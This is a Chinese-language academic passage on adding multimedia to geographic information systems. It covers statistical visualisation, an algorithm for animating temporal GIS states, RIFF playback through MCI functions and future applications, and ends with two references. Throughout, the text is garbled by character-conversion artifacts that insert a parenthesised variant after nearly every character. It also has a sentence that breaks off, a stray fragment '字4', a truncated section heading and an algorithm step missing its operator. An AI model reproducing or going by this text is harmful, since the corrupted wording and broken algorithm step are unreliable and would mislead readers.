1.2.2統(tǒng)計(jì)分析中多媒體數(shù)據(jù)的生成統(tǒng)計(jì)分析就是用數(shù)理統(tǒng)計(jì)方法開展區(qū)域分析.數(shù)理統(tǒng)計(jì)方法主要有:統(tǒng)計(jì)特征值、研究?jī)煞N或多種地理現(xiàn)象之間的相關(guān)分析,通過一組實(shí)際觀測(cè)數(shù)據(jù)分析系統(tǒng)變量之間因果關(guān)系的回歸分析,以及主成分分析等.
為了更加形象化,我們可以將數(shù)理統(tǒng)計(jì)結(jié)果以直方圖、曲線、曲面或區(qū)劃圖表示,甚至可以將重要的部分以醒目的顏色、特殊的符號(hào)或閃爍的顯示形式來告訴使用者,還可以配上解說詞,以增加系統(tǒng)的感染力,而表現(xiàn)這些現(xiàn)象的媒體數(shù)據(jù)是在統(tǒng)計(jì)分析之后由系統(tǒng)自動(dòng)生成并播放的.
2GIS應(yīng)用系統(tǒng)中多媒體功能的實(shí)現(xiàn)
在GIS應(yīng)用軟件中進(jìn)行多媒體功能實(shí)現(xiàn),首先是受GIS應(yīng)用軟件自身開發(fā)平臺(tái)的限制.多數(shù)情況下,GIS應(yīng)用軟件的多媒體開發(fā)平臺(tái)宜選擇編程語言,如VC++,VB或BC++等,以利于和GIS應(yīng)用軟件相結(jié)合.一旦多媒體開發(fā)環(huán)境確定下來,那么怎樣實(shí)現(xiàn)區(qū)域分析中多媒體功能
2.1空間數(shù)據(jù)庫中多媒體數(shù)據(jù)的播放
由前所述,空間數(shù)據(jù)庫中存貯的多是各期間的時(shí)空數(shù)據(jù),這些數(shù)據(jù)的結(jié)構(gòu)與MCI所能接受的多媒體文件格式RIFF(resourceinterchangefileformat)不同,所以應(yīng)用程序不能直接調(diào)用MCI函數(shù)和API函數(shù),必須根據(jù)時(shí)態(tài)GIS的空間數(shù)據(jù)庫結(jié)構(gòu),設(shè)計(jì)一個(gè)相應(yīng)的動(dòng)畫播放程序來實(shí)現(xiàn)動(dòng)態(tài)顯示功能.
下面簡(jiǎn)述動(dòng)態(tài)顯示時(shí)態(tài)GIS中ti~tj狀態(tài)的算法步驟(0≤i≤j≤n,其中n為現(xiàn)在時(shí)態(tài)).(1)由基態(tài)開始檢索各索引差文件直到生成ti狀態(tài)信息.(2)顯示ti狀態(tài)信息.(3)根據(jù)ti差文件,擦除ti狀態(tài)有而ti+1狀態(tài)無的信息,顯示ti狀態(tài)無而ti+1狀態(tài)有的信息.(4)i+1i.(5)當(dāng)i<j時(shí),轉(zhuǎn)(3);否則結(jié)束.
字4
如果用上述算法來實(shí)現(xiàn)動(dòng)態(tài)顯示時(shí)空過程,還有很多細(xì)節(jié)需要設(shè)計(jì).首先,在(1)步驟,從基態(tài)開始,逐級(jí)逐步檢索,每檢索到一個(gè)狀態(tài)差文件,就需根據(jù)差文件來生成該狀態(tài)信息,直到ti狀態(tài)處;其次,在(3)中,需要用到動(dòng)畫技術(shù),擦除前一狀態(tài)信息實(shí)質(zhì)為恢復(fù)該處顯示內(nèi)容,而顯示后一狀態(tài)信息之前,需保存后一處信息內(nèi)容,再予以顯示新狀態(tài)信息.
性數(shù)據(jù)庫中多媒體數(shù)據(jù)的應(yīng)用
一般來說,多媒體數(shù)據(jù)主要應(yīng)用于兩個(gè)方面:一個(gè)是簡(jiǎn)單播放;另一個(gè)是對(duì)多媒體數(shù)據(jù)進(jìn)行編輯和拮取.對(duì)于前者,只要使用MCI函數(shù)或API函數(shù)按屬性數(shù)據(jù)庫中其他屬性的要求進(jìn)行播放;對(duì)于后者,這就要求程序員熟悉多媒體數(shù)據(jù)文件格式RIFF,根據(jù)多媒體數(shù)據(jù)的文件信息和數(shù)據(jù)流信息,通過調(diào)用多媒體文件輸入/輸出函數(shù)來實(shí)現(xiàn)多媒體的播放、編輯、拮取以及同步控制等操作.
3多媒體技術(shù)在GIS中的應(yīng)用前景
(1)實(shí)現(xiàn)資源信息的科學(xué)管理,提供信息服務(wù).GIS一改為用戶管理提供單一的圖表、數(shù)據(jù)信息形式,而在管理空間信息的同時(shí),對(duì)圖形、圖象、視頻、聲音、動(dòng)畫等形式的信息進(jìn)行管理和播放,大大增加了信息的表現(xiàn)能力.(2)家庭教育和個(gè)人娛樂.將多媒體和GIS溶于一身,會(huì)豐富教育、娛樂軟件的內(nèi)容及表現(xiàn)手段.比如有關(guān)地理、歷史等課程的教學(xué)軟件和娛樂軟件的設(shè)計(jì).(3)銷售和演示信息系統(tǒng).GIS和多媒體技術(shù)合為一體的這類系統(tǒng)會(huì)比以往的信息系統(tǒng)更具有表現(xiàn)力.比如房地產(chǎn)公司的銷售系統(tǒng),既能表明所售住房的空間位置,又能從中檢索其住房環(huán)境及內(nèi)部結(jié)構(gòu),而且可以動(dòng)態(tài)地刪去當(dāng)天已售出的房子,給出不同價(jià)格等;旅游導(dǎo)游系統(tǒng),可以在為觀光游客制定導(dǎo)游路線時(shí),就能對(duì)不同地方的景點(diǎn)產(chǎn)生身臨其境的感覺.總之,將多媒體技術(shù)和GIS技術(shù)相結(jié)合,是計(jì)算機(jī)應(yīng)用領(lǐng)域的一個(gè)發(fā)展方向,它會(huì)改變?nèi)藗兊墓ぷ鳌⑸睢⑺季S方式,推動(dòng)信息社會(huì)的前進(jìn).
參考文獻(xiàn)
1張祖勛.時(shí)態(tài)GIS數(shù)據(jù)結(jié)構(gòu)的研討.測(cè)繪通報(bào),1996,(1):19~21
2楊學(xué)良.多媒體計(jì)算機(jī)技術(shù)及其應(yīng)用.北京:電子工業(yè)出版社,1995.138~139